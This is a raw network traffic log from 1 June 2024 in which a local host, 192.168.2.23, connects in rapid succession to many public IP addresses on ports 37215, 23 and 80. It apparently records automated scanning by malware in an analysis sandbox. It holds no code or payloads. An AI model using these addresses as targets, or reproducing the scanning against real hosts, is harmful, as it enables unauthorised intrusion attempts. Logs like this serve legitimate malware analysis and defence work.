Jun 1, 2024 18:15:54.213596106 CEST	60650	37215	192.168.2.23	156.148.74.163
Jun 1, 2024 18:15:54.213633060 CEST	37215	60650	197.126.107.59	192.168.2.23
Jun 1, 2024 18:15:54.213644028 CEST	60650	37215	192.168.2.23	197.246.195.100
Jun 1, 2024 18:15:54.213644981 CEST	37215	60650	197.247.117.7	192.168.2.23
Jun 1, 2024 18:15:54.213649035 CEST	37215	60650	156.221.125.6	192.168.2.23
Jun 1, 2024 18:15:54.213654995 CEST	37215	60650	156.47.112.177	192.168.2.23
Jun 1, 2024 18:15:54.213656902 CEST	60650	37215	192.168.2.23	41.27.121.67
Jun 1, 2024 18:15:54.213656902 CEST	60650	37215	192.168.2.23	156.240.30.191
Jun 1, 2024 18:15:54.213660955 CEST	37215	60650	41.230.116.56	192.168.2.23
Jun 1, 2024 18:15:54.213660955 CEST	60650	37215	192.168.2.23	156.191.243.96
Jun 1, 2024 18:15:54.213661909 CEST	60650	37215	192.168.2.23	197.236.18.225
Jun 1, 2024 18:15:54.213665962 CEST	37215	60650	197.235.211.74	192.168.2.23
Jun 1, 2024 18:15:54.213666916 CEST	60650	37215	192.168.2.23	197.126.107.59
Jun 1, 2024 18:15:54.213670969 CEST	37215	60650	41.234.14.183	192.168.2.23
Jun 1, 2024 18:15:54.213676929 CEST	37215	60650	41.247.195.212	192.168.2.23
Jun 1, 2024 18:15:54.213680983 CEST	37215	60650	156.9.202.179	192.168.2.23
Jun 1, 2024 18:15:54.213682890 CEST	60650	37215	192.168.2.23	197.247.117.7
Jun 1, 2024 18:15:54.213685036 CEST	37215	60650	197.5.246.90	192.168.2.23
Jun 1, 2024 18:15:54.213689089 CEST	60650	37215	192.168.2.23	156.221.125.6
Jun 1, 2024 18:15:54.213690996 CEST	60650	37215	192.168.2.23	156.47.112.177
Jun 1, 2024 18:15:54.213692904 CEST	37215	60650	156.39.47.14	192.168.2.23
Jun 1, 2024 18:15:54.213699102 CEST	37215	60650	41.160.105.72	192.168.2.23
Jun 1, 2024 18:15:54.213701010 CEST	60650	37215	192.168.2.23	41.230.116.56
Jun 1, 2024 18:15:54.213706017 CEST	60650	37215	192.168.2.23	41.234.14.183
Jun 1, 2024 18:15:54.213707924 CEST	60650	37215	192.168.2.23	197.235.211.74
Jun 1, 2024 18:15:54.213707924 CEST	60650	37215	192.168.2.23	41.247.195.212
Jun 1, 2024 18:15:54.213710070 CEST	37215	60650	197.55.26.248	192.168.2.23
Jun 1, 2024 18:15:54.213711023 CEST	60650	37215	192.168.2.23	156.9.202.179
Jun 1, 2024 18:15:54.213712931 CEST	60650	37215	192.168.2.23	197.5.246.90
Jun 1, 2024 18:15:54.213715076 CEST	37215	60650	197.231.220.22	192.168.2.23
Jun 1, 2024 18:15:54.213726044 CEST	37215	60650	156.254.50.144	192.168.2.23
Jun 1, 2024 18:15:54.213731050 CEST	37215	60650	41.103.71.244	192.168.2.23
Jun 1, 2024 18:15:54.213740110 CEST	60650	37215	192.168.2.23	41.160.105.72
Jun 1, 2024 18:15:54.213740110 CEST	60650	37215	192.168.2.23	156.39.47.14
Jun 1, 2024 18:15:54.213749886 CEST	60650	37215	192.168.2.23	197.231.220.22
Jun 1, 2024 18:15:54.213752031 CEST	60650	37215	192.168.2.23	197.55.26.248
Jun 1, 2024 18:15:54.213769913 CEST	60650	37215	192.168.2.23	156.254.50.144
Jun 1, 2024 18:15:54.213774920 CEST	60650	37215	192.168.2.23	41.103.71.244
Jun 1, 2024 18:15:54.214140892 CEST	37215	60650	156.4.146.242	192.168.2.23
Jun 1, 2024 18:15:54.214148045 CEST	37215	60650	197.60.23.205	192.168.2.23
Jun 1, 2024 18:15:54.214159966 CEST	37215	60650	197.165.142.230	192.168.2.23
Jun 1, 2024 18:15:54.214191914 CEST	37215	60650	41.186.161.206	192.168.2.23
Jun 1, 2024 18:15:54.214194059 CEST	60650	37215	192.168.2.23	197.165.142.230
Jun 1, 2024 18:15:54.214195967 CEST	60650	37215	192.168.2.23	197.60.23.205
Jun 1, 2024 18:15:54.214195967 CEST	60650	37215	192.168.2.23	156.4.146.242
Jun 1, 2024 18:15:54.214196920 CEST	37215	60650	197.116.0.109	192.168.2.23
Jun 1, 2024 18:15:54.214210033 CEST	37215	60650	41.244.31.25	192.168.2.23
Jun 1, 2024 18:15:54.214220047 CEST	37215	60650	197.97.177.91	192.168.2.23
Jun 1, 2024 18:15:54.214230061 CEST	37215	60650	41.52.47.109	192.168.2.23
Jun 1, 2024 18:15:54.214235067 CEST	37215	60650	156.33.62.234	192.168.2.23
Jun 1, 2024 18:15:54.214240074 CEST	37215	60650	41.42.3.37	192.168.2.23
Jun 1, 2024 18:15:54.214242935 CEST	60650	37215	192.168.2.23	41.186.161.206
Jun 1, 2024 18:15:54.214247942 CEST	60650	37215	192.168.2.23	197.116.0.109
Jun 1, 2024 18:15:54.214256048 CEST	37215	48658	41.164.227.208	192.168.2.23
Jun 1, 2024 18:15:54.214258909 CEST	60650	37215	192.168.2.23	41.244.31.25
Jun 1, 2024 18:15:54.214261055 CEST	37215	37366	156.33.225.228	192.168.2.23
Jun 1, 2024 18:15:54.214263916 CEST	60650	37215	192.168.2.23	197.97.177.91
Jun 1, 2024 18:15:54.214266062 CEST	37215	38612	41.193.154.175	192.168.2.23
Jun 1, 2024 18:15:54.214267969 CEST	60650	37215	192.168.2.23	156.33.62.234
Jun 1, 2024 18:15:54.214273930 CEST	60650	37215	192.168.2.23	41.52.47.109
Jun 1, 2024 18:15:54.214273930 CEST	60650	37215	192.168.2.23	41.42.3.37
Jun 1, 2024 18:15:54.214302063 CEST	37215	45328	156.193.10.45	192.168.2.23
Jun 1, 2024 18:15:54.214302063 CEST	48658	37215	192.168.2.23	41.164.227.208
Jun 1, 2024 18:15:54.214304924 CEST	37366	37215	192.168.2.23	156.33.225.228
Jun 1, 2024 18:15:54.214306116 CEST	38612	37215	192.168.2.23	41.193.154.175
Jun 1, 2024 18:15:54.214307070 CEST	37215	36386	41.249.106.11	192.168.2.23
Jun 1, 2024 18:15:54.214318037 CEST	37215	40714	197.215.123.203	192.168.2.23
Jun 1, 2024 18:15:54.214329958 CEST	37215	56050	156.198.133.179	192.168.2.23
Jun 1, 2024 18:15:54.214355946 CEST	36386	37215	192.168.2.23	41.249.106.11
Jun 1, 2024 18:15:54.214356899 CEST	45328	37215	192.168.2.23	156.193.10.45
Jun 1, 2024 18:15:54.214370012 CEST	37215	52998	156.85.186.89	192.168.2.23
Jun 1, 2024 18:15:54.214370012 CEST	40714	37215	192.168.2.23	197.215.123.203
Jun 1, 2024 18:15:54.214370966 CEST	56050	37215	192.168.2.23	156.198.133.179
Jun 1, 2024 18:15:54.214437008 CEST	52998	37215	192.168.2.23	156.85.186.89
Jun 1, 2024 18:15:54.214530945 CEST	58952	37215	192.168.2.23	156.101.249.252
Jun 1, 2024 18:15:54.214541912 CEST	51176	37215	192.168.2.23	41.144.59.161
Jun 1, 2024 18:15:54.214561939 CEST	51288	37215	192.168.2.23	156.122.101.93
Jun 1, 2024 18:15:54.214576006 CEST	53482	37215	192.168.2.23	41.13.150.2
Jun 1, 2024 18:15:54.214606047 CEST	54532	37215	192.168.2.23	197.159.210.112
Jun 1, 2024 18:15:54.214607954 CEST	34536	37215	192.168.2.23	197.62.245.215
Jun 1, 2024 18:15:54.214621067 CEST	36204	37215	192.168.2.23	41.37.220.142
Jun 1, 2024 18:15:54.214638948 CEST	49194	37215	192.168.2.23	156.227.20.171
Jun 1, 2024 18:15:54.214653015 CEST	41014	37215	192.168.2.23	156.167.5.201
Jun 1, 2024 18:15:54.214688063 CEST	48832	37215	192.168.2.23	156.198.87.202
Jun 1, 2024 18:15:54.214701891 CEST	52362	37215	192.168.2.23	156.45.224.43
Jun 1, 2024 18:15:54.214720011 CEST	41856	37215	192.168.2.23	41.14.251.209
Jun 1, 2024 18:15:54.214736938 CEST	41586	37215	192.168.2.23	197.22.210.222
Jun 1, 2024 18:15:54.214756012 CEST	59700	37215	192.168.2.23	41.139.183.232
Jun 1, 2024 18:15:54.214761019 CEST	49364	37215	192.168.2.23	156.251.227.241
Jun 1, 2024 18:15:54.214761019 CEST	53196	37215	192.168.2.23	156.58.214.28
Jun 1, 2024 18:15:54.214793921 CEST	49906	37215	192.168.2.23	156.113.109.247
Jun 1, 2024 18:15:54.214795113 CEST	45594	37215	192.168.2.23	156.9.236.107
Jun 1, 2024 18:15:54.214813948 CEST	49600	37215	192.168.2.23	197.171.180.102
Jun 1, 2024 18:15:54.214833975 CEST	41724	37215	192.168.2.23	41.87.170.8
Jun 1, 2024 18:15:54.214864969 CEST	47716	37215	192.168.2.23	197.148.143.218
Jun 1, 2024 18:15:54.214867115 CEST	35458	37215	192.168.2.23	41.53.249.76
Jun 1, 2024 18:15:54.214875937 CEST	57592	37215	192.168.2.23	156.94.219.6
Jun 1, 2024 18:15:54.214900017 CEST	55648	37215	192.168.2.23	197.218.44.219
Jun 1, 2024 18:15:54.214906931 CEST	39890	37215	192.168.2.23	41.199.178.103
Jun 1, 2024 18:15:54.214934111 CEST	53806	37215	192.168.2.23	197.239.209.224
Jun 1, 2024 18:15:54.214936018 CEST	44402	37215	192.168.2.23	156.108.209.227
Jun 1, 2024 18:15:54.214967012 CEST	52938	37215	192.168.2.23	156.168.54.44
Jun 1, 2024 18:15:54.214987040 CEST	52332	37215	192.168.2.23	41.107.213.189
Jun 1, 2024 18:15:54.214987993 CEST	45532	37215	192.168.2.23	41.232.72.207
Jun 1, 2024 18:15:54.215006113 CEST	39892	37215	192.168.2.23	197.176.79.105
Jun 1, 2024 18:15:54.215020895 CEST	46632	37215	192.168.2.23	156.122.197.187
Jun 1, 2024 18:15:54.215035915 CEST	44394	37215	192.168.2.23	41.24.85.120
Jun 1, 2024 18:15:54.215059996 CEST	60494	37215	192.168.2.23	156.68.148.229
Jun 1, 2024 18:15:54.215068102 CEST	37726	37215	192.168.2.23	197.195.124.150
Jun 1, 2024 18:15:54.215096951 CEST	55216	37215	192.168.2.23	156.37.13.98
Jun 1, 2024 18:15:54.215097904 CEST	47420	37215	192.168.2.23	197.83.168.107
Jun 1, 2024 18:15:54.215130091 CEST	54402	37215	192.168.2.23	41.152.169.18
Jun 1, 2024 18:15:54.215131998 CEST	55144	37215	192.168.2.23	41.61.6.231
Jun 1, 2024 18:15:54.215146065 CEST	51976	37215	192.168.2.23	41.137.161.29
Jun 1, 2024 18:15:54.215369940 CEST	37215	45586	41.144.64.245	192.168.2.23
Jun 1, 2024 18:15:54.215377092 CEST	37215	38836	156.141.233.124	192.168.2.23
Jun 1, 2024 18:15:54.215389013 CEST	37215	43196	41.64.231.154	192.168.2.23
Jun 1, 2024 18:15:54.215425014 CEST	38836	37215	192.168.2.23	156.141.233.124
Jun 1, 2024 18:15:54.215425968 CEST	45586	37215	192.168.2.23	41.144.64.245
Jun 1, 2024 18:15:54.215444088 CEST	37215	55452	41.61.54.93	192.168.2.23
Jun 1, 2024 18:15:54.215447903 CEST	43196	37215	192.168.2.23	41.64.231.154
Jun 1, 2024 18:15:54.215450048 CEST	37215	40380	41.29.240.127	192.168.2.23
Jun 1, 2024 18:15:54.215460062 CEST	37215	57566	41.179.71.43	192.168.2.23
Jun 1, 2024 18:15:54.215465069 CEST	37215	53694	41.23.36.64	192.168.2.23
Jun 1, 2024 18:15:54.215473890 CEST	37215	33272	41.104.188.254	192.168.2.23
Jun 1, 2024 18:15:54.215481043 CEST	37215	35612	41.125.186.113	192.168.2.23
Jun 1, 2024 18:15:54.215493917 CEST	40380	37215	192.168.2.23	41.29.240.127
Jun 1, 2024 18:15:54.215495110 CEST	55452	37215	192.168.2.23	41.61.54.93
Jun 1, 2024 18:15:54.215496063 CEST	57566	37215	192.168.2.23	41.179.71.43
Jun 1, 2024 18:15:54.215496063 CEST	37215	35770	197.81.225.105	192.168.2.23
Jun 1, 2024 18:15:54.215502977 CEST	23	65001	175.164.112.59	192.168.2.23
Jun 1, 2024 18:15:54.215507984 CEST	23	65001	73.160.189.167	192.168.2.23
Jun 1, 2024 18:15:54.215511084 CEST	53694	37215	192.168.2.23	41.23.36.64
Jun 1, 2024 18:15:54.215511084 CEST	33272	37215	192.168.2.23	41.104.188.254
Jun 1, 2024 18:15:54.215512991 CEST	23	65001	94.38.210.4	192.168.2.23
Jun 1, 2024 18:15:54.215518951 CEST	23	65001	104.153.180.219	192.168.2.23
Jun 1, 2024 18:15:54.215526104 CEST	80	43496	168.235.31.17	192.168.2.23
Jun 1, 2024 18:15:54.215526104 CEST	35612	37215	192.168.2.23	41.125.186.113
Jun 1, 2024 18:15:54.215531111 CEST	23	34452	144.135.30.158	192.168.2.23
Jun 1, 2024 18:15:54.215533018 CEST	65001	23	192.168.2.23	73.160.189.167
Jun 1, 2024 18:15:54.215537071 CEST	80	43496	100.5.75.185	192.168.2.23
Jun 1, 2024 18:15:54.215540886 CEST	65001	23	192.168.2.23	175.164.112.59
Jun 1, 2024 18:15:54.215542078 CEST	65001	23	192.168.2.23	94.38.210.4
Jun 1, 2024 18:15:54.215542078 CEST	80	43496	194.244.242.70	192.168.2.23
Jun 1, 2024 18:15:54.215540886 CEST	35770	37215	192.168.2.23	197.81.225.105
Jun 1, 2024 18:15:54.215548038 CEST	80	43496	147.89.17.146	192.168.2.23
Jun 1, 2024 18:15:54.215550900 CEST	65001	23	192.168.2.23	104.153.180.219
Jun 1, 2024 18:15:54.215553999 CEST	43496	80	192.168.2.23	168.235.31.17
Jun 1, 2024 18:15:54.215557098 CEST	80	43496	49.81.200.207	192.168.2.23
Jun 1, 2024 18:15:54.215564013 CEST	80	43496	137.234.162.150	192.168.2.23
Jun 1, 2024 18:15:54.215578079 CEST	43496	80	192.168.2.23	194.244.242.70
Jun 1, 2024 18:15:54.215578079 CEST	43496	80	192.168.2.23	100.5.75.185
Jun 1, 2024 18:15:54.215579987 CEST	43496	80	192.168.2.23	147.89.17.146
Jun 1, 2024 18:15:54.215596914 CEST	43496	80	192.168.2.23	49.81.200.207
Jun 1, 2024 18:15:54.215598106 CEST	43496	80	192.168.2.23	137.234.162.150
Jun 1, 2024 18:15:54.215606928 CEST	80	43496	24.179.173.118	192.168.2.23
Jun 1, 2024 18:15:54.215612888 CEST	80	43496	57.54.162.72	192.168.2.23
Jun 1, 2024 18:15:54.215616941 CEST	80	43496	213.99.204.125	192.168.2.23
Jun 1, 2024 18:15:54.215620995 CEST	80	43496	192.174.109.168	192.168.2.23
Jun 1, 2024 18:15:54.215625048 CEST	80	43496	50.27.20.241	192.168.2.23
Jun 1, 2024 18:15:54.215630054 CEST	34452	23	192.168.2.23	144.135.30.158
Jun 1, 2024 18:15:54.215639114 CEST	36002	23	192.168.2.23	144.135.30.158
Jun 1, 2024 18:15:54.215646029 CEST	43496	80	192.168.2.23	57.54.162.72
Jun 1, 2024 18:15:54.215656996 CEST	80	43496	99.170.206.200	192.168.2.23
Jun 1, 2024 18:15:54.215660095 CEST	43496	80	192.168.2.23	213.99.204.125
Jun 1, 2024 18:15:54.215662003 CEST	43496	80	192.168.2.23	24.179.173.118
Jun 1, 2024 18:15:54.215662956 CEST	80	43496	124.0.139.31	192.168.2.23
Jun 1, 2024 18:15:54.215665102 CEST	43496	80	192.168.2.23	192.174.109.168
Jun 1, 2024 18:15:54.215667963 CEST	80	43496	76.167.108.173	192.168.2.23
Jun 1, 2024 18:15:54.215673923 CEST	43496	80	192.168.2.23	50.27.20.241
Jun 1, 2024 18:15:54.215694904 CEST	43496	80	192.168.2.23	99.170.206.200
Jun 1, 2024 18:15:54.215694904 CEST	43496	80	192.168.2.23	124.0.139.31
Jun 1, 2024 18:15:54.215698004 CEST	43496	80	192.168.2.23	76.167.108.173
Jun 1, 2024 18:15:54.215805054 CEST	23	34344	198.117.191.173	192.168.2.23
Jun 1, 2024 18:15:54.215811014 CEST	80	43496	133.130.243.96	192.168.2.23
Jun 1, 2024 18:15:54.215821981 CEST	80	43496	81.66.87.121	192.168.2.23
Jun 1, 2024 18:15:54.215826988 CEST	80	43496	210.124.107.233	192.168.2.23
Jun 1, 2024 18:15:54.215837002 CEST	80	43496	52.191.152.237	192.168.2.23
Jun 1, 2024 18:15:54.215842009 CEST	80	43496	210.0.226.6	192.168.2.23
Jun 1, 2024 18:15:54.215852022 CEST	80	43496	147.135.44.218	192.168.2.23
Jun 1, 2024 18:15:54.215856075 CEST	80	58314	65.91.194.133	192.168.2.23
Jun 1, 2024 18:15:54.215856075 CEST	43496	80	192.168.2.23	133.130.243.96
Jun 1, 2024 18:15:54.215873957 CEST	43496	80	192.168.2.23	210.124.107.233
Jun 1, 2024 18:15:54.215873957 CEST	43496	80	192.168.2.23	52.191.152.237
Jun 1, 2024 18:15:54.215873957 CEST	43496	80	192.168.2.23	210.0.226.6
Jun 1, 2024 18:15:54.215876102 CEST	43496	80	192.168.2.23	81.66.87.121
Jun 1, 2024 18:15:54.215890884 CEST	34344	23	192.168.2.23	198.117.191.173
Jun 1, 2024 18:15:54.215893030 CEST	58314	80	192.168.2.23	65.91.194.133
Jun 1, 2024 18:15:54.215898037 CEST	43496	80	192.168.2.23	147.135.44.218
Jun 1, 2024 18:15:54.215908051 CEST	35898	23	192.168.2.23	198.117.191.173
Jun 1, 2024 18:15:54.216362000 CEST	80	43496	60.224.142.1	192.168.2.23
Jun 1, 2024 18:15:54.216396093 CEST	80	43496	59.172.71.185	192.168.2.23
Jun 1, 2024 18:15:54.216406107 CEST	80	43496	189.82.218.132	192.168.2.23
Jun 1, 2024 18:15:54.216411114 CEST	80	43496	53.223.178.64	192.168.2.23
Jun 1, 2024 18:15:54.216419935 CEST	80	43496	19.50.36.251	192.168.2.23
Jun 1, 2024 18:15:54.216424942 CEST	80	43496	69.42.202.171	192.168.2.23
Jun 1, 2024 18:15:54.216435909 CEST	80	43496	45.9.82.52	192.168.2.23
Jun 1, 2024 18:15:54.216439962 CEST	80	43496	24.72.9.82	192.168.2.23
Jun 1, 2024 18:15:54.216443062 CEST	43496	80	192.168.2.23	60.224.142.1
Jun 1, 2024 18:15:54.216444969 CEST	80	43496	145.92.78.73	192.168.2.23
Jun 1, 2024 18:15:54.216449022 CEST	43496	80	192.168.2.23	59.172.71.185
Jun 1, 2024 18:15:54.216449976 CEST	80	43496	132.66.64.38	192.168.2.23
Jun 1, 2024 18:15:54.216449022 CEST	43496	80	192.168.2.23	189.82.218.132
Jun 1, 2024 18:15:54.216455936 CEST	43496	80	192.168.2.23	53.223.178.64
Jun 1, 2024 18:15:54.216459990 CEST	80	43496	27.6.254.191	192.168.2.23
Jun 1, 2024 18:15:54.216471910 CEST	80	43496	222.37.4.5	192.168.2.23
Jun 1, 2024 18:15:54.216471910 CEST	43496	80	192.168.2.23	19.50.36.251
Jun 1, 2024 18:15:54.216471910 CEST	43496	80	192.168.2.23	45.9.82.52
Jun 1, 2024 18:15:54.216475964 CEST	80	43496	89.207.214.248	192.168.2.23
Jun 1, 2024 18:15:54.216479063 CEST	43496	80	192.168.2.23	69.42.202.171
Jun 1, 2024 18:15:54.216489077 CEST	80	43496	66.47.79.133	192.168.2.23
Jun 1, 2024 18:15:54.216490030 CEST	43496	80	192.168.2.23	24.72.9.82
Jun 1, 2024 18:15:54.216494083 CEST	43496	80	192.168.2.23	132.66.64.38
Jun 1, 2024 18:15:54.216494083 CEST	43496	80	192.168.2.23	145.92.78.73
Jun 1, 2024 18:15:54.216500044 CEST	80	43496	67.147.165.34	192.168.2.23
Jun 1, 2024 18:15:54.216502905 CEST	43496	80	192.168.2.23	27.6.254.191
Jun 1, 2024 18:15:54.216504097 CEST	43496	80	192.168.2.23	222.37.4.5
Jun 1, 2024 18:15:54.216505051 CEST	80	43496	223.111.60.145	192.168.2.23
Jun 1, 2024 18:15:54.216511011 CEST	43496	80	192.168.2.23	89.207.214.248
Jun 1, 2024 18:15:54.216515064 CEST	80	43496	95.127.175.227	192.168.2.23
Jun 1, 2024 18:15:54.216519117 CEST	43496	80	192.168.2.23	66.47.79.133
Jun 1, 2024 18:15:54.216521025 CEST	80	43496	179.122.233.207	192.168.2.23
Jun 1, 2024 18:15:54.216526985 CEST	80	43496	206.73.46.114	192.168.2.23
Jun 1, 2024 18:15:54.216526985 CEST	43496	80	192.168.2.23	223.111.60.145
Jun 1, 2024 18:15:54.216531992 CEST	80	43496	161.43.121.185	192.168.2.23
Jun 1, 2024 18:15:54.216535091 CEST	43496	80	192.168.2.23	67.147.165.34
Jun 1, 2024 18:15:54.216543913 CEST	80	43496	223.93.215.58	192.168.2.23
Jun 1, 2024 18:15:54.216548920 CEST	80	43496	39.24.219.249	192.168.2.23
Jun 1, 2024 18:15:54.216551065 CEST	43496	80	192.168.2.23	95.127.175.227
Jun 1, 2024 18:15:54.216558933 CEST	43496	80	192.168.2.23	161.43.121.185
Jun 1, 2024 18:15:54.216558933 CEST	43496	80	192.168.2.23	179.122.233.207
Jun 1, 2024 18:15:54.216573954 CEST	43496	80	192.168.2.23	206.73.46.114
Jun 1, 2024 18:15:54.216578960 CEST	43496	80	192.168.2.23	39.24.219.249
Jun 1, 2024 18:15:54.216582060 CEST	43496	80	192.168.2.23	223.93.215.58
Jun 1, 2024 18:15:54.216948986 CEST	80	43496	85.238.207.251	192.168.2.23
Jun 1, 2024 18:15:54.216954947 CEST	80	43496	134.80.188.68	192.168.2.23
Jun 1, 2024 18:15:54.216965914 CEST	80	43496	32.62.55.43	192.168.2.23
Jun 1, 2024 18:15:54.216970921 CEST	80	43496	42.11.130.136	192.168.2.23
Jun 1, 2024 18:15:54.216979980 CEST	80	43496	163.191.4.156	192.168.2.23
Jun 1, 2024 18:15:54.216985941 CEST	80	43496	82.34.11.96	192.168.2.23
Jun 1, 2024 18:15:54.216994047 CEST	80	43496	41.189.31.68	192.168.2.23
Jun 1, 2024 18:15:54.216999054 CEST	80	43496	198.203.182.175	192.168.2.23
Jun 1, 2024 18:15:54.217009068 CEST	80	43496	124.204.6.25	192.168.2.23
Jun 1, 2024 18:15:54.217009068 CEST	43496	80	192.168.2.23	85.238.207.251
Jun 1, 2024 18:15:54.217009068 CEST	43496	80	192.168.2.23	32.62.55.43
Jun 1, 2024 18:15:54.217012882 CEST	80	43496	146.155.139.101	192.168.2.23
Jun 1, 2024 18:15:54.217010021 CEST	43496	80	192.168.2.23	134.80.188.68
Jun 1, 2024 18:15:54.217009068 CEST	43496	80	192.168.2.23	42.11.130.136
Jun 1, 2024 18:15:54.217016935 CEST	43496	80	192.168.2.23	82.34.11.96
Jun 1, 2024 18:15:54.217021942 CEST	80	43496	118.249.69.78	192.168.2.23
Jun 1, 2024 18:15:54.217022896 CEST	43496	80	192.168.2.23	163.191.4.156
Jun 1, 2024 18:15:54.217031002 CEST	43496	80	192.168.2.23	41.189.31.68
Jun 1, 2024 18:15:54.217031956 CEST	43496	80	192.168.2.23	198.203.182.175
Jun 1, 2024 18:15:54.217036963 CEST	43496	80	192.168.2.23	124.204.6.25
Jun 1, 2024 18:15:54.217040062 CEST	43496	80	192.168.2.23	146.155.139.101
Jun 1, 2024 18:15:54.217051029 CEST	43496	80	192.168.2.23	118.249.69.78
Jun 1, 2024 18:15:54.217052937 CEST	80	43496	106.72.36.51	192.168.2.23
Jun 1, 2024 18:15:54.217057943 CEST	80	43496	42.187.49.118	192.168.2.23
Jun 1, 2024 18:15:54.217075109 CEST	80	43496	145.13.166.240	192.168.2.23
Jun 1, 2024 18:15:54.217080116 CEST	80	43496	99.223.38.236	192.168.2.23
Jun 1, 2024 18:15:54.217089891 CEST	80	43496	66.92.28.90	192.168.2.23
Jun 1, 2024 18:15:54.217094898 CEST	80	43496	156.33.185.72	192.168.2.23
Jun 1, 2024 18:15:54.217096090 CEST	43496	80	192.168.2.23	106.72.36.51
Jun 1, 2024 18:15:54.217099905 CEST	80	43496	107.118.12.96	192.168.2.23
Jun 1, 2024 18:15:54.217103958 CEST	43496	80	192.168.2.23	42.187.49.118
Jun 1, 2024 18:15:54.217104912 CEST	80	43496	118.167.64.175	192.168.2.23
Jun 1, 2024 18:15:54.217109919 CEST	80	43496	211.152.213.185	192.168.2.23
Jun 1, 2024 18:15:54.217120886 CEST	43496	80	192.168.2.23	145.13.166.240
Jun 1, 2024 18:15:54.217122078 CEST	80	43496	176.78.160.138	192.168.2.23
Jun 1, 2024 18:15:54.217128992 CEST	80	43496	41.108.232.85	192.168.2.23
Jun 1, 2024 18:15:54.217129946 CEST	43496	80	192.168.2.23	99.223.38.236
Jun 1, 2024 18:15:54.217130899 CEST	43496	80	192.168.2.23	66.92.28.90
Jun 1, 2024 18:15:54.217130899 CEST	43496	80	192.168.2.23	107.118.12.96
Jun 1, 2024 18:15:54.217133999 CEST	80	43496	87.233.87.119	192.168.2.23
Jun 1, 2024 18:15:54.217135906 CEST	43496	80	192.168.2.23	156.33.185.72
Jun 1, 2024 18:15:54.217144012 CEST	43496	80	192.168.2.23	118.167.64.175
Jun 1, 2024 18:15:54.217144966 CEST	80	43496	13.15.216.154	192.168.2.23
Jun 1, 2024 18:15:54.217150927 CEST	43496	80	192.168.2.23	211.152.213.185
Jun 1, 2024 18:15:54.217155933 CEST	43496	80	192.168.2.23	176.78.160.138
Jun 1, 2024 18:15:54.217178106 CEST	43496	80	192.168.2.23	41.108.232.85
Jun 1, 2024 18:15:54.217185974 CEST	43496	80	192.168.2.23	13.15.216.154
Jun 1, 2024 18:15:54.217179060 CEST	43496	80	192.168.2.23	87.233.87.119
Jun 1, 2024 18:15:54.217485905 CEST	80	43496	106.211.139.161	192.168.2.23
Jun 1, 2024 18:15:54.217494011 CEST	80	43496	219.191.228.10	192.168.2.23
Jun 1, 2024 18:15:54.217504025 CEST	80	43496	182.171.65.27	192.168.2.23
Jun 1, 2024 18:15:54.217514038 CEST	80	43496	76.115.82.134	192.168.2.23
Jun 1, 2024 18:15:54.217524052 CEST	80	43496	181.246.71.152	192.168.2.23
Jun 1, 2024 18:15:54.217529058 CEST	80	43496	116.128.48.224	192.168.2.23
Jun 1, 2024 18:15:54.217534065 CEST	80	43496	176.104.168.239	192.168.2.23
Jun 1, 2024 18:15:54.217535973 CEST	43496	80	192.168.2.23	106.211.139.161
Jun 1, 2024 18:15:54.217539072 CEST	80	43496	104.134.7.68	192.168.2.23
Jun 1, 2024 18:15:54.217541933 CEST	43496	80	192.168.2.23	219.191.228.10
Jun 1, 2024 18:15:54.217541933 CEST	43496	80	192.168.2.23	182.171.65.27
Jun 1, 2024 18:15:54.217544079 CEST	80	43496	209.98.115.136	192.168.2.23
Jun 1, 2024 18:15:54.217547894 CEST	43496	80	192.168.2.23	76.115.82.134
Jun 1, 2024 18:15:54.217555046 CEST	43496	80	192.168.2.23	181.246.71.152
Jun 1, 2024 18:15:54.217564106 CEST	43496	80	192.168.2.23	176.104.168.239
Jun 1, 2024 18:15:54.217566013 CEST	80	43496	157.151.151.63	192.168.2.23
Jun 1, 2024 18:15:54.217572927 CEST	80	43496	80.152.111.154	192.168.2.23
Jun 1, 2024 18:15:54.217573881 CEST	43496	80	192.168.2.23	104.134.7.68
Jun 1, 2024 18:15:54.217576027 CEST	43496	80	192.168.2.23	116.128.48.224
Jun 1, 2024 18:15:54.217577934 CEST	80	43496	213.46.243.209	192.168.2.23
Jun 1, 2024 18:15:54.217576027 CEST	43496	80	192.168.2.23	209.98.115.136
Jun 1, 2024 18:15:54.217583895 CEST	80	43496	149.39.112.106	192.168.2.23
Jun 1, 2024 18:15:54.217595100 CEST	80	43496	108.12.66.222	192.168.2.23
Jun 1, 2024 18:15:54.217600107 CEST	80	43496	217.30.58.227	192.168.2.23
Jun 1, 2024 18:15:54.217603922 CEST	80	43496	190.157.211.94	192.168.2.23
Jun 1, 2024 18:15:54.217606068 CEST	43496	80	192.168.2.23	157.151.151.63
Jun 1, 2024 18:15:54.217614889 CEST	43496	80	192.168.2.23	213.46.243.209
Jun 1, 2024 18:15:54.217617035 CEST	43496	80	192.168.2.23	149.39.112.106
Jun 1, 2024 18:15:54.217614889 CEST	43496	80	192.168.2.23	80.152.111.154
Jun 1, 2024 18:15:54.217633963 CEST	43496	80	192.168.2.23	217.30.58.227
Jun 1, 2024 18:15:54.217637062 CEST	43496	80	192.168.2.23	190.157.211.94
Jun 1, 2024 18:15:54.217639923 CEST	80	43496	78.169.154.234	192.168.2.23
Jun 1, 2024 18:15:54.217645884 CEST	80	43496	54.51.4.63	192.168.2.23
Jun 1, 2024 18:15:54.217648983 CEST	43496	80	192.168.2.23	108.12.66.222
Jun 1, 2024 18:15:54.217650890 CEST	80	43496	144.197.0.39	192.168.2.23
Jun 1, 2024 18:15:54.217655897 CEST	80	43496	122.224.163.144	192.168.2.23
Jun 1, 2024 18:15:54.217674971 CEST	43496	80	192.168.2.23	54.51.4.63
Jun 1, 2024 18:15:54.217677116 CEST	43496	80	192.168.2.23	78.169.154.234
Jun 1, 2024 18:15:54.217691898 CEST	43496	80	192.168.2.23	122.224.163.144
Jun 1, 2024 18:15:54.217694044 CEST	43496	80	192.168.2.23	144.197.0.39
Jun 1, 2024 18:15:54.218205929 CEST	80	43496	83.46.126.175	192.168.2.23
Jun 1, 2024 18:15:54.218213081 CEST	80	43496	61.132.224.92	192.168.2.23
Jun 1, 2024 18:15:54.218224049 CEST	80	43496	59.151.178.7	192.168.2.23
Jun 1, 2024 18:15:54.218249083 CEST	80	43496	161.64.64.10	192.168.2.23
Jun 1, 2024 18:15:54.218261003 CEST	80	43496	49.237.180.204	192.168.2.23
Jun 1, 2024 18:15:54.218261957 CEST	43496	80	192.168.2.23	61.132.224.92
Jun 1, 2024 18:15:54.218261957 CEST	43496	80	192.168.2.23	83.46.126.175
Jun 1, 2024 18:15:54.218265057 CEST	80	43496	92.51.19.212	192.168.2.23
